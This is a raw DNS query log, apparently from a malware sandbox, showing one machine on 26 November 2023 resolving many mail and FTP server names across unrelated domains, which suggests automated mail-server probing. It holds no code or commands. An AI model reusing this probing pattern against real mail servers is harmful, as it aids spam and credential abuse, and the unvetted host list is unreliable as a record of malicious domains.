Nov 26, 2023 06:59:40.766838074 CET	1.1.1.1	192.168.2.4	0x83f	No error (0)	ww16.ondania.com		91.195.240.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.804294109 CET	1.1.1.1	192.168.2.4	0x7101	Name error (3)	pop3.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.812331915 CET	1.1.1.1	192.168.2.4	0x5b74	Name error (3)	pop3.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.826006889 CET	1.1.1.1	192.168.2.4	0xf532	Name error (3)	pop3.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.872504950 CET	1.1.1.1	192.168.2.4	0x767c	Name error (3)	imap.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.884355068 CET	1.1.1.1	192.168.2.4	0x44f3	Name error (3)	relay.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.884485006 CET	1.1.1.1	192.168.2.4	0x1ea1	Name error (3)	mail.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.889879942 CET	1.1.1.1	192.168.2.4	0x4a00	Name error (3)	relay.utlinks.om	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.899827957 CET	1.1.1.1	192.168.2.4	0x314e	Name error (3)	imap.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.900878906 CET	1.1.1.1	192.168.2.4	0x400d	Name error (3)	mailgate.bunasta.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.909113884 CET	1.1.1.1	192.168.2.4	0x2ced	Name error (3)	imap.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.920377970 CET	1.1.1.1	192.168.2.4	0x2331	Name error (3)	pop3.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:40.931417942 CET	1.1.1.1	192.168.2.4	0xf6f0	Name error (3)	pop3.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.009840965 CET	1.1.1.1	192.168.2.4	0x5d84	Name error (3)	pop3.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.030790091 CET	1.1.1.1	192.168.2.4	0xd39	Name error (3)	pop.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.186019897 CET	1.1.1.1	192.168.2.4	0x6cae	No error (0)	ftp.prettypollycleaning.ae		192.96.211.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.375684977 CET	1.1.1.1	192.168.2.4	0x34a8	Name error (3)	relay.gstudent.ctu.edu.vn	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.436331034 CET	1.1.1.1	192.168.2.4	0xab5	Server failure (2)	mailgate.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.500762939 CET	1.1.1.1	192.168.2.4	0x3d06	Server failure (2)	mailgate.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.518887043 CET	1.1.1.1	192.168.2.4	0xeb99	Name error (3)	mailgate.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.519620895 CET	1.1.1.1	192.168.2.4	0x98f7	Name error (3)	mailgate.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.588329077 CET	1.1.1.1	192.168.2.4	0x6dea	Name error (3)	mailgate.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.712896109 CET	1.1.1.1	192.168.2.4	0x45ae	Name error (3)	mailgate.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.712908030 CET	1.1.1.1	192.168.2.4	0xa0de	Name error (3)	mailgate.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.713797092 CET	1.1.1.1	192.168.2.4	0x932	Name error (3)	mailgate.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.718667030 CET	1.1.1.1	192.168.2.4	0xc162	Name error (3)	mailgate.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.718715906 CET	1.1.1.1	192.168.2.4	0x69ad	Name error (3)	mailgate.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.785214901 CET	1.1.1.1	192.168.2.4	0x8693	Name error (3)	mailgate.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.786955118 CET	1.1.1.1	192.168.2.4	0x1b34	Name error (3)	imap.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.935277939 CET	1.1.1.1	192.168.2.4	0x634a	Name error (3)	mailgate.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.935961962 CET	1.1.1.1	192.168.2.4	0xad4b	Name error (3)	mailgate.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.937201023 CET	1.1.1.1	192.168.2.4	0x5ac1	Name error (3)	mailgate.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.941226006 CET	1.1.1.1	192.168.2.4	0x7f5	Name error (3)	mailgate.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.977912903 CET	1.1.1.1	192.168.2.4	0x27ad	Name error (3)	mailgate.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:41.997703075 CET	1.1.1.1	192.168.2.4	0x99dc	Name error (3)	mailgate.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.110692024 CET	1.1.1.1	192.168.2.4	0xc18e	Name error (3)	mailgate.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.115817070 CET	1.1.1.1	192.168.2.4	0xbb15	Name error (3)	relay.heathcotebarr.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.131567001 CET	1.1.1.1	192.168.2.4	0x2c2b	Name error (3)	smtp.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.158688068 CET	1.1.1.1	192.168.2.4	0xedc4	Name error (3)	relay.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.158776999 CET	1.1.1.1	192.168.2.4	0x269f	Name error (3)	relay.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.159044027 CET	1.1.1.1	192.168.2.4	0xb63e	Name error (3)	relay.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.160095930 CET	1.1.1.1	192.168.2.4	0x8fc2	Name error (3)	relay.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.160249949 CET	1.1.1.1	192.168.2.4	0xe13	Name error (3)	relay.sofia-communications.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.160300970 CET	1.1.1.1	192.168.2.4	0xb99c	Name error (3)	smtp.lgs-strategies.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.161493063 CET	1.1.1.1	192.168.2.4	0x485a	Name error (3)	smtp.yahoo.comfreezed	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.169919014 CET	1.1.1.1	192.168.2.4	0x10c0	Name error (3)	relay.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.185143948 CET	1.1.1.1	192.168.2.4	0x335f	Name error (3)	relay.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.186136007 CET	1.1.1.1	192.168.2.4	0xd6ca	Name error (3)	relay.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.191613913 CET	1.1.1.1	192.168.2.4	0x2daf	Name error (3)	smtp.kvsroraipur.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.193455935 CET	1.1.1.1	192.168.2.4	0x7c11	Name error (3)	smtp.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.194072962 CET	1.1.1.1	192.168.2.4	0x3790	Name error (3)	relay.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.194084883 CET	1.1.1.1	192.168.2.4	0x2bde	Name error (3)	smtp.mnit.uc.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.194588900 CET	1.1.1.1	192.168.2.4	0xb14b	Name error (3)	smtp.ardcrushing.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.197016954 CET	1.1.1.1	192.168.2.4	0xc48d	Name error (3)	relay.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.199655056 CET	1.1.1.1	192.168.2.4	0x624a	Name error (3)	smtp.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.200567007 CET	1.1.1.1	192.168.2.4	0x1af7	Name error (3)	relay.dbschooldelhi.ac.in	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.203773022 CET	1.1.1.1	192.168.2.4	0x3dca	Name error (3)	smtp.2l7g4s.us	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.205430031 CET	1.1.1.1	192.168.2.4	0xac65	Name error (3)	smtp.highstreet-re.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.207113028 CET	1.1.1.1	192.168.2.4	0x72c2	Name error (3)	smtp.foundtoo.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.210176945 CET	1.1.1.1	192.168.2.4	0xbbc6	Name error (3)	smtp.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.212919950 CET	1.1.1.1	192.168.2.4	0xf74c	Name error (3)	smtp.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.212932110 CET	1.1.1.1	192.168.2.4	0xa4e7	Name error (3)	smtp.y3.qj51acp	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.216181993 CET	1.1.1.1	192.168.2.4	0xa3b6	Name error (3)	smtp.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.217289925 CET	1.1.1.1	192.168.2.4	0x606e	Server failure (2)	relay.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.218856096 CET	1.1.1.1	192.168.2.4	0xea01	Name error (3)	relay.carelesscommunity.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.274147034 CET	1.1.1.1	192.168.2.4	0x9e2e	Name error (3)	smtp.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.274601936 CET	1.1.1.1	192.168.2.4	0x7d16	Name error (3)	relay.xtsagency.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.364717007 CET	1.1.1.1	192.168.2.4	0xf1d7	Name error (3)	relay.lwindowelive.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.399404049 CET	1.1.1.1	192.168.2.4	0x38e0	Name error (3)	relay.gmail.io	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.401163101 CET	1.1.1.1	192.168.2.4	0xceeb	Name error (3)	pop3.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.434098005 CET	1.1.1.1	192.168.2.4	0x3335	Server failure (2)	smtp.bosworthacademy.org	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.478745937 CET	1.1.1.1	192.168.2.4	0x55c2	Name error (3)	relay.bunasta.eu	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.562786102 CET	1.1.1.1	192.168.2.4	0x35ea	Name error (3)	mailgate.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.784218073 CET	1.1.1.1	192.168.2.4	0xba4	Name error (3)	smtp.member3.co.za	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:42.967581034 CET	1.1.1.1	192.168.2.4	0xe18e	Name error (3)	relay.paintd.plus.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.078414917 CET	1.1.1.1	192.168.2.4	0xa847	Name error (3)	mail.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.317842960 CET	1.1.1.1	192.168.2.4	0xc236	Server failure (2)	relay.schmith.net	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.329541922 CET	1.1.1.1	192.168.2.4	0x2a8b	Name error (3)	pop.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.366473913 CET	1.1.1.1	192.168.2.4	0x6ccf	No error (0)	mx2.emailsrvr.com		184.106.54.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.371706963 CET	1.1.1.1	192.168.2.4	0x5ef0	Name error (3)	smtp.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.448067904 CET	1.1.1.1	192.168.2.4	0x3dc5	No error (0)	mx2.supremebox.com		198.23.53.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.448067904 CET	1.1.1.1	192.168.2.4	0x3dc5	No error (0)	mx2.supremebox.com		198.23.53.116	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.448067904 CET	1.1.1.1	192.168.2.4	0x3dc5	No error (0)	mx2.supremebox.com		198.23.53.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.536490917 CET	1.1.1.1	192.168.2.4	0x3900	Name error (3)	pop3.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.578278065 CET	1.1.1.1	192.168.2.4	0xa404	Name error (3)	relay.privatemoe.ae	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:43.838386059 CET	1.1.1.1	192.168.2.4	0xd1b8	Name error (3)	mailgate.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.006151915 CET	1.1.1.1	192.168.2.4	0xa17a	Name error (3)	ftp.edgewater.group	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.371311903 CET	1.1.1.1	192.168.2.4	0xf179	No error (0)	mx01.1and1.com		74.208.5.21	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.405108929 CET	1.1.1.1	192.168.2.4	0x9ca8	Name error (3)	relay.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.407654047 CET	1.1.1.1	192.168.2.4	0xfeb1	Name error (3)	ftp.rochester-gauges.be	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.453525066 CET	1.1.1.1	192.168.2.4	0xb683	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.453525066 CET	1.1.1.1	192.168.2.4	0xb683	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.455135107 CET	1.1.1.1	192.168.2.4	0x3eab	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.455135107 CET	1.1.1.1	192.168.2.4	0x3eab	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.556180000 CET	1.1.1.1	192.168.2.4	0x1c1a	No error (0)	ftp.viidelta.com		89.31.143.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.580454111 CET	1.1.1.1	192.168.2.4	0xf369	Name error (3)	imap.cringemonster.com	none	none	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.914057970 CET	1.1.1.1	192.168.2.4	0x2c75	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.914057970 CET	1.1.1.1	192.168.2.4	0x2c75	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.929502010 CET	1.1.1.1	192.168.2.4	0xa57d	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.929502010 CET	1.1.1.1	192.168.2.4	0xa57d	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.932410002 CET	1.1.1.1	192.168.2.4	0xa5a5	No error (0)	ibright-net.mail.protection.outlook.com		104.47.55.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:44.932410002 CET	1.1.1.1	192.168.2.4	0xa5a5	No error (0)	ibright-net.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:45.068451881 CET	1.1.1.1	192.168.2.4	0xe589	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.74	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:45.068451881 CET	1.1.1.1	192.168.2.4	0xe589	No error (0)	talentius-com.mail.protection.outlook.com		104.47.17.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:45.437410116 CET	1.1.1.1	192.168.2.4	0x9bfa	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.202	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:45.437410116 CET	1.1.1.1	192.168.2.4	0x9bfa	No error (0)	my-calvary-qld-edu-au.mail.protection.outlook.com		104.47.71.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:46.421611071 CET	1.1.1.1	192.168.2.4	0x1d74	No error (0)	mx2.jimdo.com		108.166.43.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:46.711416006 CET	1.1.1.1	192.168.2.4	0xb3ad	No error (0)	mail.edgewater.group		104.200.30.31	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.259361029 CET	1.1.1.1	192.168.2.4	0xa43c	No error (0)	ftp.wasserman.us		216.250.121.106	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.42.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.40.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.11.3	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.312685013 CET	1.1.1.1	192.168.2.4	0xde8d	No error (0)	aoiit-store.mail.protection.outlook.com		52.101.42.13	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.321336985 CET	1.1.1.1	192.168.2.4	0x36d7	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.164	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.321336985 CET	1.1.1.1	192.168.2.4	0x36d7	No error (0)	jamiesonmullin-com.mail.protection.outlook.com		104.47.75.228	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.325714111 CET	1.1.1.1	192.168.2.4	0x615	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.325714111 CET	1.1.1.1	192.168.2.4	0x615	No error (0)	krkconcord-com.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.331140041 CET	1.1.1.1	192.168.2.4	0x121d	No error (0)	octetpowers-in.mail.protection.outlook.com		104.47.74.202	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.17	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.336494923 CET	1.1.1.1	192.168.2.4	0x296a	No error (0)	avient-com.mail.protection.outlook.com		52.101.9.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.372747898 CET	1.1.1.1	192.168.2.4	0x1757	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.74.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.372747898 CET	1.1.1.1	192.168.2.4	0x1757	No error (0)	gethsemane-org.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.11.7	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.9.5	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.8.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.389457941 CET	1.1.1.1	192.168.2.4	0xf32	No error (0)	directlendersllc-com.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.397687912 CET	1.1.1.1	192.168.2.4	0x223	No error (0)	ibright-net.mail.protection.outlook.com		104.47.59.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.397687912 CET	1.1.1.1	192.168.2.4	0x223	No error (0)	ibright-net.mail.protection.outlook.com		104.47.66.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.40.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.42.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.8.44	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.40.24	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.404663086 CET	1.1.1.1	192.168.2.4	0x51b9	No error (0)	greenrworld-com.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.1	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.68.21	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.68.36	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.19	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.26	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.30	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.405955076 CET	1.1.1.1	192.168.2.4	0xf794	No error (0)	ecolandeck-at0i.mail.protection.outlook.com		52.101.73.6	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.406233072 CET	1.1.1.1	192.168.2.4	0x5465	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.138	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.406233072 CET	1.1.1.1	192.168.2.4	0x5465	No error (0)	rochestergauges-be02c.mail.protection.outlook.com		104.47.73.10	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.407934904 CET	1.1.1.1	192.168.2.4	0x401	No error (0)	mx.a.locaweb.com.br		186.202.4.42	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.9.0	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.9.11	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.8.46	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.8.34	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.40.2	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.411032915 CET	1.1.1.1	192.168.2.4	0x894e	No error (0)	rechagricola-com-br.mail.protection.outlook.com		52.101.40.4	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.412313938 CET	1.1.1.1	192.168.2.4	0xd79b	No error (0)	mx4.mainnetmail.com		165.22.206.176	A (IP address)	IN (0x0001)	false
Nov 26, 2023 06:59:58.413649082 CET	1.1.1.1	192.168.2.4	0xc03b	No error (0)	gmailvz-com.mail.protection.outlook.com		52.101.11.2	A (IP address)	IN (0x0001)	false
